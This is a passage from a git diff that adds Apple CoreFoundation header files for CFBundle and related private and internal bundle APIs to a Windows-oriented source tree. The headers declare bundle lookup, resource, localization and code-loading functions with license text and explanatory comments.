CFBitVectorFlipBitAtIndex(CFMutableBitVectorRef bv, CFIndex idx); +CF_EXPORT void CFBitVectorFlipBits(CFMutableBitVectorRef bv, CFRange range); +CF_EXPORT void CFBitVectorSetBitAtIndex(CFMutableBitVectorRef bv, CFIndex idx, CFBit value); +CF_EXPORT void CFBitVectorSetBits(CFMutableBitVectorRef bv, CFRange range, CFBit value); +CF_EXPORT void CFBitVectorSetAllBits(CFMutableBitVectorRef bv, CFBit value); + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFBITVECTOR__ */ + diff --git a/winstuff/CoreFoundation/CFBundle.h b/winstuff/CoreFoundation/CFBundle.h new file mode 100644 index 0000000..addc17f --- /dev/null +++ b/winstuff/CoreFoundation/CFBundle.h @@ -0,0 +1,334 @@ +/* CFBundle.h + Copyright (c) 1999-2008, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFBUNDLE__) +#define __COREFOUNDATION_CFBUNDLE__ 1 + +#include +#include +#include +#include +#include +#include + +CF_EXTERN_C_BEGIN + +typedef struct __CFBundle *CFBundleRef; +typedef struct __CFBundle *CFPlugInRef; + +/* ===================== Standard Info.plist keys ===================== */ +CF_EXPORT +const CFStringRef kCFBundleInfoDictionaryVersionKey; + /* The version of the Info.plist format */ +CF_EXPORT +const CFStringRef kCFBundleExecutableKey; + /* The name of the executable in this bundle, if any */ +CF_EXPORT +const CFStringRef kCFBundleIdentifierKey; + /* The bundle identifier (for CFBundleGetBundleWithIdentifier()) */ +CF_EXPORT +const CFStringRef kCFBundleVersionKey; + /* The version number of the bundle. For Mac OS 9 style version numbers (for example "2.5.3d5"), */ + /* clients can use CFBundleGetVersionNumber() instead of accessing this key directly since that */ + /* function will properly convert the version string into its compact integer representation. */ +CF_EXPORT +const CFStringRef kCFBundleDevelopmentRegionKey; + /* The name of the development language of the bundle. */ +CF_EXPORT +const CFStringRef kCFBundleNameKey; + /* The human-readable name of the bundle. This key is often found in the InfoPlist.strings since it is usually localized. */ +CF_EXPORT +const CFStringRef kCFBundleLocalizationsKey AVAILABLE_MAC_OS_X_VERSION_10_2_AND_LATER; + /* Allows an unbundled application that handles localization itself to specify which localizations it has available. */ + +/* ===================== Finding Bundles ===================== */ + +CF_EXPORT +CFBundleRef CFBundleGetMainBundle(void); + +CF_EXPORT +CFBundleRef CFBundleGetBundleWithIdentifier(CFStringRef bundleID); + /* A bundle can name itself by providing a key in the info dictionary. */ + /* This facility is meant to allow bundle-writers to get hold of their */ + /* bundle from their code without having to know where it was on the disk. */ + /* This is meant to be a replacement mechanism for +bundleForClass: users. */ + /* Note that this does not search for bundles on the disk; it will locate */ + /* only bundles already loaded or otherwise known to the current process. */ + +CF_EXPORT +CFArrayRef CFBundleGetAllBundles(void); + /* This is potentially expensive. Use with care. */ + +/* ===================== Creating Bundles ===================== */ + +CF_EXPORT +CFTypeID CFBundleGetTypeID(void); + +CF_EXPORT +CFBundleRef CFBundleCreate(CFAllocatorRef allocator, CFURLRef bundleURL); + /* Might return an existing instance with the ref-count bumped. */ + +CF_EXPORT +CFArrayRef CFBundleCreateBundlesFromDirectory(CFAllocatorRef allocator, CFURLRef directoryURL, CFStringRef bundleType); + /* Create instances for all bundles in the given directory matching the given type */ + /* (or all of them if bundleType is NULL). Instances are created using CFBundleCreate() and are not released. */ + +/* ==================== Basic Bundle Info ==================== */ + +CF_EXPORT +CFURLRef CFBundleCopyBundleURL(CFBundleRef bundle); + +CF_EXPORT +CFTypeRef CFBundleGetValueForInfoDictionaryKey(CFBundleRef bundle, CFStringRef key); + /* Returns a localized value if available, otherwise the global value. */ + /* This is the recommended function for examining the info dictionary. */ + +CF_EXPORT +CFDictionaryRef CFBundleGetInfoDictionary(CFBundleRef bundle); + /* This is the global info dictionary. Note that CFBundle may add */ + /* extra keys to the dictionary for its own use. */ + +CF_EXPORT +CFDictionaryRef CFBundleGetLocalInfoDictionary(CFBundleRef bundle); + /* This is the localized info dictionary. */ + +CF_EXPORT +void CFBundleGetPackageInfo(CFBundleRef bundle, UInt32 *packageType, UInt32 *packageCreator); + +CF_EXPORT +CFStringRef CFBundleGetIdentifier(CFBundleRef bundle); + +CF_EXPORT +UInt32 CFBundleGetVersionNumber(CFBundleRef bundle); + +CF_EXPORT +CFStringRef CFBundleGetDevelopmentRegion(CFBundleRef bundle); + +CF_EXPORT +CFURLRef CFBundleCopySupportFilesDirectoryURL(CFBundleRef bundle); + +CF_EXPORT +CFURLRef CFBundleCopyResourcesDirectoryURL(CFBundleRef bundle); + +CF_EXPORT +CFURLRef CFBundleCopyPrivateFrameworksURL(CFBundleRef bundle); + +CF_EXPORT +CFURLRef CFBundleCopySharedFrameworksURL(CFBundleRef bundle); + +CF_EXPORT +CFURLRef CFBundleCopySharedSupportURL(CFBundleRef bundle); + +CF_EXPORT +CFURLRef CFBundleCopyBuiltInPlugInsURL(CFBundleRef bundle); + +/* ------------- Basic Bundle Info without a CFBundle instance ------------- */ +/* This API is provided to enable developers to retrieve basic information */ +/* about a bundle without having to create an instance of CFBundle. */ +/* Because of caching behavior when a CFBundle instance exists, it will be faster */ +/* to actually create a CFBundle if you need to retrieve multiple pieces of info. */ +CF_EXPORT +CFDictionaryRef CFBundleCopyInfoDictionaryInDirectory(CFURLRef bundleURL); + +CF_EXPORT +Boolean CFBundleGetPackageInfoInDirectory(CFURLRef url, UInt32 *packageType, UInt32 *packageCreator); + +/* ==================== Resource Handling API ==================== */ + +CF_EXPORT +CFURLRef CFBundleCopyResourceURL(CFBundleRef bundle, CFStringRef resourceName, CFStringRef resourceType, CFStringRef subDirName); + +CF_EXPORT +CFArrayRef CFBundleCopyResourceURLsOfType(CFBundleRef bundle, CFStringRef resourceType, CFStringRef subDirName); + +CF_EXPORT +CFStringRef CFBundleCopyLocalizedString(CFBundleRef bundle, CFStringRef key, CFStringRef value, CFStringRef tableName); + +#define CFCopyLocalizedString(key, comment) \ + CFBundleCopyLocalizedString(CFBundleGetMainBundle(), (key), (key), NULL) +#define CFCopyLocalizedStringFromTable(key, tbl, comment) \ + CFBundleCopyLocalizedString(CFBundleGetMainBundle(), (key), (key), (tbl)) +#define CFCopyLocalizedStringFromTableInBundle(key, tbl, bundle, comment) \ + CFBundleCopyLocalizedString((bundle), (key), (key), (tbl)) +#define CFCopyLocalizedStringWithDefaultValue(key, tbl, bundle, value, comment) \ + CFBundleCopyLocalizedString((bundle), (key), (value), (tbl)) + +/* ------------- Resource Handling without a CFBundle instance ------------- */ +/* This API is provided to enable developers to use the CFBundle resource */ +/* searching policy without having to create an instance of CFBundle. */ +/* Because of caching behavior when a CFBundle instance exists, it will be faster */ +/* to actually create a CFBundle if you need to access several resources. */ + +CF_EXPORT +CFURLRef CFBundleCopyResourceURLInDirectory(CFURLRef bundleURL, CFStringRef resourceName, CFStringRef resourceType, CFStringRef subDirName); + +CF_EXPORT +CFArrayRef CFBundleCopyResourceURLsOfTypeInDirectory(CFURLRef bundleURL, CFStringRef resourceType, CFStringRef subDirName); + +/* =========== Localization-specific Resource Handling API =========== */ +/* This API allows finer-grained control over specific localizations, */ +/* as distinguished from the above API, which always uses the user's */ +/* preferred localizations for the bundle in the current app context. */ + +CF_EXPORT +CFArrayRef CFBundleCopyBundleLocalizations(CFBundleRef bundle); + /* Lists the localizations that a bundle contains. */ + +CF_EXPORT +CFArrayRef CFBundleCopyPreferredLocalizationsFromArray(CFArrayRef locArray); + /* Given an array of possible localizations, returns the one or more */ + /* of them that CFBundle would use in the current application context. */ + /* To determine the localizations that would be used for a particular */ + /* bundle in the current application context, apply this function to the */ + /* result of CFBundleCopyBundleLocalizations(). */ + +CF_EXPORT +CFArrayRef CFBundleCopyLocalizationsForPreferences(CFArrayRef locArray, CFArrayRef prefArray) AVAILABLE_MAC_OS_X_VERSION_10_2_AND_LATER; + /* Given an array of possible localizations, returns the one or more of */ + /* them that CFBundle would use, without reference to the current application */ + /* context, if the user's preferred localizations were given by prefArray. */ + /* If prefArray is NULL, the current user's actual preferred localizations will */ + /* be used. This is not the same as CFBundleCopyPreferredLocalizationsFromArray(), */ + /* because that function takes the current application context into account. */ + /* To determine the localizations that another application would use, apply */ + /* this function to the result of CFBundleCopyBundleLocalizations(). */ + +CF_EXPORT +CFURLRef CFBundleCopyResourceURLForLocalization(CFBundleRef bundle, CFStringRef resourceName, CFStringRef resourceType, CFStringRef subDirName, CFStringRef localizationName); + +CF_EXPORT +CFArrayRef CFBundleCopyResourceURLsOfTypeForLocalization(CFBundleRef bundle, CFStringRef resourceType, CFStringRef subDirName, CFStringRef localizationName); + /* The localizationName argument to CFBundleCopyResourceURLForLocalization() or */ + /* CFBundleCopyResourceURLsOfTypeForLocalization() must be identical to one of the */ + /* localizations in the bundle, as returned by CFBundleCopyBundleLocalizations(). */ + /* It is recommended that either CFBundleCopyPreferredLocalizationsFromArray() or */ + /* CFBundleCopyLocalizationsForPreferences() be used to select the localization. */ + +/* =================== Unbundled application info ===================== */ +/* This API is provided to enable developers to retrieve bundle-related */ +/* information about an application that may be bundled or unbundled. */ +CF_EXPORT +CFDictionaryRef CFBundleCopyInfoDictionaryForURL(CFURLRef url) AVAILABLE_MAC_OS_X_VERSION_10_2_AND_LATER; + /* For a directory URL, this is equivalent to CFBundleCopyInfoDictionaryInDirectory(). */ + /* For a plain file URL representing an unbundled executable, this will attempt to read */ + /* an info dictionary from the (__TEXT, __info_plist) section, if it is a Mach-o file, */ + /* or from a 'plst' resource. */ + +CF_EXPORT +CFArrayRef CFBundleCopyLocalizationsForURL(CFURLRef url) AVAILABLE_MAC_OS_X_VERSION_10_2_AND_LATER; + /* For a directory URL, this is equivalent to calling CFBundleCopyBundleLocalizations() */ + /* on the corresponding bundle. For a plain file URL representing an unbundled executable, */ + /* this will attempt to determine its localizations using the CFBundleLocalizations and */ + /* CFBundleDevelopmentRegion keys in the dictionary returned by CFBundleCopyInfoDictionaryForURL,*/ + /* or from a 'vers' resource if those are not present. */ + +CF_EXPORT +CFArrayRef CFBundleCopyExecutableArchitecturesForURL(CFURLRef url) AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; + /* For a directory URL, this is equivalent to calling CFBundleCopyExecutableArchitectures() */ + /* on the corresponding bundle. For a plain file URL representing an unbundled executable, */ + /* this will return the architectures it provides, if it is a Mach-o file, or NULL otherwise. */ + +/* ==================== Primitive Code Loading API ==================== */ +/* This API abstracts the various different executable formats supported on */ +/* various platforms. It can load DYLD, CFM, or DLL shared libraries (on their */ +/* appropriate platforms) and gives a uniform API for looking up functions. */ + +CF_EXPORT +CFURLRef CFBundleCopyExecutableURL(CFBundleRef bundle); + +#if MAC_OS_X_VERSION_10_5 <= MAC_OS_X_VERSION_MAX_ALLOWED +enum { + kCFBundleExecutableArchitectureI386 = 0x00000007, + kCFBundleExecutableArchitecturePPC = 0x00000012, + kCFBundleExecutableArchitectureX86_64 = 0x01000007, + kCFBundleExecutableArchitecturePPC64 = 0x01000012 +}; +#endif /* MAC_OS_X_VERSION_10_5 <= MAC_OS_X_VERSION_MAX_ALLOWED */ + +CF_EXPORT +CFArrayRef CFBundleCopyExecutableArchitectures(CFBundleRef bundle) AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; + /* If the bundle's executable exists and is a Mach-o file, this function will return an array */ + /* of CFNumbers whose values are integers representing the architectures the file provides. */ + /* The values currently in use are those listed in the enum above, but others may be added */ + /* in the future. If the executable is not a Mach-o file, this function returns NULL. */ + +CF_EXPORT +Boolean CFBundlePreflightExecutable(CFBundleRef bundle, CFErrorRef *error) AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; + /* This function will return true if the bundle is loaded, or if the bundle appears to be */ + /* loadable upon inspection. This does not mean that the bundle is definitively loadable, */ + /* since it may fail to load due to link errors or other problems not readily detectable. */ + /* If this function detects problems, it will return false, and return a CFError by reference. */ + /* It is the responsibility of the caller to release the CFError. */ + +CF_EXPORT +Boolean CFBundleLoadExecutableAndReturnError(CFBundleRef bundle, CFErrorRef *error) AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; + /* If the bundle is already loaded, this function will return true. Otherwise, it will attempt */ + /* to load the bundle, and it will return true if that attempt succeeds. If the bundle fails */ + /* to load, this function will return false, and it will return a CFError by reference. */ + /* It is the responsibility of the caller to release the CFError. */ + +CF_EXPORT +Boolean CFBundleLoadExecutable(CFBundleRef bundle); + +CF_EXPORT +Boolean CFBundleIsExecutableLoaded(CFBundleRef bundle); + +CF_EXPORT +void CFBundleUnloadExecutable(CFBundleRef bundle); + +CF_EXPORT +void *CFBundleGetFunctionPointerForName(CFBundleRef bundle, CFStringRef functionName); + +CF_EXPORT +void CFBundleGetFunctionPointersForNames(CFBundleRef bundle, CFArrayRef functionNames, void *ftbl[]); + +CF_EXPORT +void *CFBundleGetDataPointerForName(CFBundleRef bundle, CFStringRef symbolName); + +CF_EXPORT +void CFBundleGetDataPointersForNames(CFBundleRef bundle, CFArrayRef symbolNames, void *stbl[]); + +CF_EXPORT +CFURLRef CFBundleCopyAuxiliaryExecutableURL(CFBundleRef bundle, CFStringRef executableName); + /* This function can be used to find executables other than your main */ + /* executable. This is useful, for instance, for applications that have */ + /* some command line tool that is packaged with and used by the application. */ + /* The tool can be packaged in the various platform executable directories */ + /* in the bundle and can be located with this function. This allows an */ + /* app to ship versions of the tool for each platform as it does for the */ + /* main app executable. */ + +/* ==================== Getting a bundle's plugIn ==================== */ + +CF_EXPORT +CFPlugInRef CFBundleGetPlugIn(CFBundleRef bundle); + +/* ==================== Resource Manager-Related API ==================== */ + +#if __LP64__ +typedef int CFBundleRefNum; +#else +typedef SInt16 CFBundleRefNum; +#endif + +CF_EXPORT +CFBundleRefNum CFBundleOpenBundleResourceMap(CFBundleRef bundle); + /* This function opens the non-localized and the localized resource files */ + /* (if any) for the bundle, creates and makes current a single read-only */ + /* resource map combining both, and returns a reference number for it. */ + /* If it is called multiple times, it opens the files multiple times, */ + /* and returns distinct reference numbers. */ + +CF_EXPORT +SInt32 CFBundleOpenBundleResourceFiles(CFBundleRef bundle, CFBundleRefNum *refNum, CFBundleRefNum *localizedRefNum); + /* Similar to CFBundleOpenBundleResourceMap(), except that it creates two */ + /* separate resource maps and returns reference numbers for both. */ + +CF_EXPORT +void CFBundleCloseBundleResourceMap(CFBundleRef bundle, CFBundleRefNum refNum); + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFBUNDLE__ */ + diff --git a/winstuff/CoreFoundation/CFBundlePriv.h b/winstuff/CoreFoundation/CFBundlePriv.h new file mode 100644 index 0000000..acac0a4 --- /dev/null +++ b/winstuff/CoreFoundation/CFBundlePriv.h @@ -0,0 +1,265 @@ +/* + * Copyright (c) 2008 Apple Inc. All rights reserved. + * + * @APPLE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this + * file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_LICENSE_HEADER_END@ + */ +/* CFBundlePriv.h + Copyright (c) 1999-2007, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFBUNDLEPRIV__) +#define __COREFOUNDATION_CFBUNDLEPRIV__ 1 + +#include +#include +#include +#include +#include +#include + +CF_EXTERN_C_BEGIN + +/* Finder stuff */ +CF_EXPORT +const CFStringRef _kCFBundlePackageTypeKey; +CF_EXPORT +const CFStringRef _kCFBundleSignatureKey; +CF_EXPORT +const CFStringRef _kCFBundleIconFileKey; +CF_EXPORT +const CFStringRef _kCFBundleDocumentTypesKey; +CF_EXPORT +const CFStringRef _kCFBundleURLTypesKey; + +/* Localizable Finder stuff */ +CF_EXPORT +const CFStringRef _kCFBundleDisplayNameKey; +CF_EXPORT +const CFStringRef _kCFBundleShortVersionStringKey; +CF_EXPORT +const CFStringRef _kCFBundleGetInfoStringKey; +CF_EXPORT +const CFStringRef _kCFBundleGetInfoHTMLKey; + +/* Sub-keys for CFBundleDocumentTypes dictionaries */ +CF_EXPORT +const CFStringRef _kCFBundleTypeNameKey; +CF_EXPORT +const CFStringRef _kCFBundleTypeRoleKey; +CF_EXPORT +const CFStringRef _kCFBundleTypeIconFileKey; +CF_EXPORT +const CFStringRef _kCFBundleTypeOSTypesKey; +CF_EXPORT +const CFStringRef _kCFBundleTypeExtensionsKey; +CF_EXPORT +const CFStringRef _kCFBundleTypeMIMETypesKey; + +/* Sub-keys for CFBundleURLTypes dictionaries */ +CF_EXPORT +const CFStringRef _kCFBundleURLNameKey; +CF_EXPORT +const CFStringRef _kCFBundleURLIconFileKey; +CF_EXPORT +const CFStringRef _kCFBundleURLSchemesKey; + +/* Compatibility key names */ +CF_EXPORT +const CFStringRef _kCFBundleOldExecutableKey; +CF_EXPORT +const CFStringRef _kCFBundleOldInfoDictionaryVersionKey; +CF_EXPORT +const CFStringRef _kCFBundleOldNameKey; +CF_EXPORT +const CFStringRef _kCFBundleOldIconFileKey; +CF_EXPORT +const CFStringRef _kCFBundleOldDocumentTypesKey; +CF_EXPORT +const CFStringRef _kCFBundleOldShortVersionStringKey; + +/* Compatibility CFBundleDocumentTypes key names */ +CF_EXPORT +const CFStringRef _kCFBundleOldTypeNameKey; +CF_EXPORT +const CFStringRef _kCFBundleOldTypeRoleKey; +CF_EXPORT +const CFStringRef _kCFBundleOldTypeIconFileKey; +CF_EXPORT +const CFStringRef _kCFBundleOldTypeExtensions1Key; +CF_EXPORT +const CFStringRef _kCFBundleOldTypeExtensions2Key; +CF_EXPORT +const CFStringRef _kCFBundleOldTypeOSTypesKey; + + +/* Functions for examining directories that may "look like" bundles */ + +CF_EXPORT +CFURLRef _CFBundleCopyBundleURLForExecutableURL(CFURLRef url); + +CF_EXPORT +Boolean _CFBundleURLLooksLikeBundle(CFURLRef url); + +CF_EXPORT +CFBundleRef _CFBundleCreateIfLooksLikeBundle(CFAllocatorRef allocator, CFURLRef url); + +CF_EXPORT +CFBundleRef _CFBundleGetMainBundleIfLooksLikeBundle(void); + +CF_EXPORT +Boolean _CFBundleMainBundleInfoDictionaryComesFromResourceFork(void); + +CF_EXPORT +CFBundleRef _CFBundleCreateWithExecutableURLIfLooksLikeBundle(CFAllocatorRef allocator, CFURLRef url); + +CF_EXPORT +CFURLRef _CFBundleCopyMainBundleExecutableURL(Boolean *looksLikeBundle); + +CF_EXPORT +CFBundleRef _CFBundleGetExistingBundleWithBundleURL(CFURLRef bundleURL); + +/* Functions for examining the structure of a bundle */ + +CF_EXPORT +CFURLRef _CFBundleCopyResourceForkURL(CFBundleRef bundle); + +CF_EXPORT +CFURLRef _CFBundleCopyInfoPlistURL(CFBundleRef bundle); + + +/* Functions for working without a bundle instance */ + +CF_EXPORT +CFURLRef _CFBundleCopyExecutableURLInDirectory(CFURLRef url); + +CF_EXPORT +CFURLRef _CFBundleCopyOtherExecutableURLInDirectory(CFURLRef url); + + +/* Functions for dealing with localizations */ + +CF_EXPORT +void _CFBundleGetLanguageAndRegionCodes(SInt32 *languageCode, SInt32 *regionCode); +// may return -1 for either one if no code can be found + +CF_EXPORT +Boolean CFBundleGetLocalizationInfoForLocalization(CFStringRef localizationName, SInt32 *languageCode, SInt32 *regionCode, SInt32 *scriptCode, CFStringEncoding *stringEncoding); + /* Gets the appropriate language and region codes, and the default */ + /* script code and encoding, for the localization specified. */ + /* Pass NULL for the localizationName to get these values for the */ + /* single most preferred localization in the current context. */ + /* May give -1 if there is no language or region code for a particular */ + /* localization. Returns false if CFBundle has no information about */ + /* the given localization. */ + +CF_EXPORT +CFStringRef CFBundleCopyLocalizationForLocalizationInfo(SInt32 languageCode, SInt32 regionCode, SInt32 scriptCode, CFStringEncoding stringEncoding); + /* Returns the default localization for the combination of codes */ + /* specified. Pass in -1 for language, region code, or script code, or */ + /* 0xFFFF for stringEncoding, if you do not wish to specify one of these. */ + +CF_EXPORT +void _CFBundleSetDefaultLocalization(CFStringRef localizationName); + + +/* Functions for dealing specifically with CFM executables */ + +CF_EXPORT +void *_CFBundleGetCFMFunctionPointerForName(CFBundleRef bundle, CFStringRef funcName); + +CF_EXPORT +void _CFBundleGetCFMFunctionPointersForNames(CFBundleRef bundle, CFArrayRef functionNames, void *ftbl[]); + +CF_EXPORT +void _CFBundleSetCFMConnectionID(CFBundleRef bundle, void *connectionID); + + +/* Miscellaneous functions */ + +CF_EXPORT +CFStringRef _CFBundleCopyFileTypeForFileURL(CFURLRef url); + +CF_EXPORT +CFStringRef _CFBundleCopyFileTypeForFileData(CFDataRef data); + +CF_EXPORT +Boolean _CFBundleGetHasChanged(CFBundleRef bundle); + +CF_EXPORT +void _CFBundleFlushCaches(void); + +CF_EXPORT +void _CFBundleFlushCachesForURL(CFURLRef url); + +CF_EXPORT +void _CFBundleFlushBundleCaches(CFBundleRef bundle); // The previous two functions flush cached resource paths; this one also flushes bundle-specific caches such as the info dictionary and strings files + +CF_EXPORT +void _CFBundleSetStringsFilesShared(CFBundleRef bundle, Boolean flag); + +CF_EXPORT +Boolean _CFBundleGetStringsFilesShared(CFBundleRef bundle); + + +/* Functions deprecated as SPI */ + +CF_EXPORT +CFDictionaryRef _CFBundleGetLocalInfoDictionary(CFBundleRef bundle); // deprecated in favor of CFBundleGetLocalInfoDictionary + +CF_EXPORT +CFPropertyListRef _CFBundleGetValueForInfoKey(CFBundleRef bundle, CFStringRef key); // deprecated in favor of CFBundleGetValueForInfoDictionaryKey + +CF_EXPORT +Boolean _CFBundleGetPackageInfoInDirectory(CFAllocatorRef alloc, CFURLRef url, UInt32 *packageType, UInt32 *packageCreator); // deprecated in favor of CFBundleGetPackageInfoInDirectory + +CF_EXPORT +CFDictionaryRef _CFBundleCopyInfoDictionaryInResourceFork(CFURLRef url); // CFBundleCopyInfoDictionaryForURL is usually preferred; for the main bundle, however, no special call is necessary, since the info dictionary will automatically be available whether the app is bundled or not + +CF_EXPORT +CFURLRef _CFBundleCopyPrivateFrameworksURL(CFBundleRef bundle); // deprecated in favor of CFBundleCopyPrivateFrameworksURL + +CF_EXPORT +CFURLRef _CFBundleCopySharedFrameworksURL(CFBundleRef bundle); // deprecated in favor of CFBundleCopySharedFrameworksURL + +CF_EXPORT +CFURLRef _CFBundleCopySharedSupportURL(CFBundleRef bundle); // deprecated in favor of CFBundleCopySharedSupportURL + +CF_EXPORT +CFURLRef _CFBundleCopyBuiltInPlugInsURL(CFBundleRef bundle); // deprecated in favor of CFBundleCopyBuiltInPlugInsURL + +CF_EXPORT +CFArrayRef _CFBundleCopyBundleRegionsArray(CFBundleRef bundle); // deprecated in favor of CFBundleCopyBundleLocalizations + +CF_EXPORT +CFURLRef _CFBundleCopyResourceURLForLanguage(CFBundleRef bundle, CFStringRef resourceName, CFStringRef resourceType, CFStringRef subDirName, CFStringRef language); // deprecated in favor of CFBundleCopyResourceURLForLocalization + +CF_EXPORT +CFArrayRef _CFBundleCopyResourceURLsOfTypeForLanguage(CFBundleRef bundle, CFStringRef resourceType, CFStringRef subDirName, CFStringRef language); // deprecated in favor of CFBundleCopyResourceURLsOfTypeForLocalization + +CF_EXPORT +CFBundleRefNum _CFBundleOpenBundleResourceFork(CFBundleRef bundle); // deprecated in favor of CFBundleOpenBundleResourceMap + +CF_EXPORT +void _CFBundleCloseBundleResourceFork(CFBundleRef bundle); // deprecated in favor of CFBundleCloseBundleResourceMap + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFBUNDLEPRIV__ */ + diff --git a/winstuff/CoreFoundation/CFBundle_BinaryTypes.h b/winstuff/CoreFoundation/CFBundle_BinaryTypes.h new file mode 100644 index 0000000..ff70bce --- /dev/null +++ b/winstuff/CoreFoundation/CFBundle_BinaryTypes.h @@ -0,0 +1,71 @@ +/* + * Copyright (c) 2008 Apple Inc. All rights reserved. + * + * @APPLE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this + * file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_LICENSE_HEADER_END@ + */ +/* CFBundle_BinaryTypes.h + Copyright (c) 1999-2007, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFBUNDLE_BINARYTYPES__) +#define __COREFOUNDATION_CFBUNDLE_BINARYTYPES__ 1 + +CF_EXTERN_C_BEGIN + + +#if DEPLOYMENT_TARGET_MACOSX || 0 +#if !defined(DISABLE_DYLD_USAGE) +#define BINARY_SUPPORT_DYLD 1 +#endif +#if !defined(DISABLE_DLFCN_USAGE) +#define BINARY_SUPPORT_DLFCN 1 +#endif +#elif 0 || 0 +#define BINARY_SUPPORT_DLL 1 +#else +#error Unknown or unspecified DEPLOYMENT_TARGET +#endif + + +typedef enum { + __CFBundleUnknownBinary, + __CFBundleCFMBinary, + __CFBundleDYLDExecutableBinary, + __CFBundleDYLDBundleBinary, + __CFBundleDYLDFrameworkBinary, + __CFBundleDLLBinary, + __CFBundleUnreadableBinary, + __CFBundleNoBinary, + __CFBundleELFBinary +} __CFPBinaryType; + +/* Intended for eventual public consumption */ +typedef enum { + kCFBundleOtherExecutableType = 0, + kCFBundleMachOExecutableType, + kCFBundlePEFExecutableType, + kCFBundleELFExecutableType, + kCFBundleDLLExecutableType +} CFBundleExecutableType; + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFBUNDLE_BINARYTYPES__ */ + diff --git a/winstuff/CoreFoundation/CFBundle_Internal.h b/winstuff/CoreFoundation/CFBundle_Internal.h new file mode 100644 index 0000000..c6213b9 --- /dev/null +++ b/winstuff/CoreFoundation/CFBundle_Internal.h @@ -0,0 +1,240 @@ +/* + * Copyright (c) 2008 Apple Inc. All rights reserved. + * + * @APPLE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this + * file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_LICENSE_HEADER_END@ + */ +/* CFBundle_Internal.h + Copyright (c) 1999-2007, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFBUNDLE_INTERNAL__) +#define __COREFOUNDATION_CFBUNDLE_INTERNAL__ 1 + +#include +#include +#include +#include +#include "CFInternal.h" +#include "CFPlugIn_Factory.h" +#include "CFBundle_BinaryTypes.h" + +CF_EXTERN_C_BEGIN + +#define __kCFLogBundle 3 +#define __kCFLogPlugIn 3 + +#if DEPLOYMENT_TARGET_MACOSX || 0 +#define PLATFORM_PATH_STYLE kCFURLPOSIXPathStyle +#elif 0 || 0 +#define PLATFORM_PATH_STYLE kCFURLWindowsPathStyle +#else +#error Unknown or unspecified DEPLOYMENT_TARGET +#endif + +#define CFBundleExecutableNotFoundError 4 +#define CFBundleExecutableNotLoadableError 3584 +#define CFBundleExecutableArchitectureMismatchError 3585 +#define CFBundleExecutableRuntimeMismatchError 3586 +#define CFBundleExecutableLoadError 3587 +#define CFBundleExecutableLinkError 3588 + +typedef struct __CFResourceData { + CFMutableDictionaryRef _stringTableCache; + Boolean _executableLacksResourceFork; + Boolean _infoDictionaryFromResourceFork; + char _padding[2]; +} _CFResourceData; + +extern _CFResourceData *__CFBundleGetResourceData(CFBundleRef bundle); + +typedef struct __CFPlugInData { + Boolean _isPlugIn; + Boolean _loadOnDemand; + Boolean _isDoingDynamicRegistration; + Boolean _unused1; + UInt32 _instanceCount; + CFMutableArrayRef _factories; +} _CFPlugInData; + +extern _CFPlugInData *__CFBundleGetPlugInData(CFBundleRef bundle); + +/* Private CFBundle API */ + +extern Boolean _CFIsResourceAtURL(CFURLRef url, Boolean *isDir); +extern Boolean _CFIsResourceAtPath(CFStringRef path, Boolean *isDir); + +extern Boolean _CFBundleURLLooksLikeBundleVersion(CFURLRef url, UInt8 *version); +extern CFDictionaryRef _CFBundleCopyInfoDictionaryInDirectory(CFAllocatorRef alloc, CFURLRef url, UInt8 *version); +extern CFDictionaryRef _CFBundleCopyInfoDictionaryInDirectoryWithVersion(CFAllocatorRef alloc, CFURLRef url, UInt8 version); +extern CFURLRef _CFBundleCopySupportFilesDirectoryURLInDirectory(CFAllocatorRef 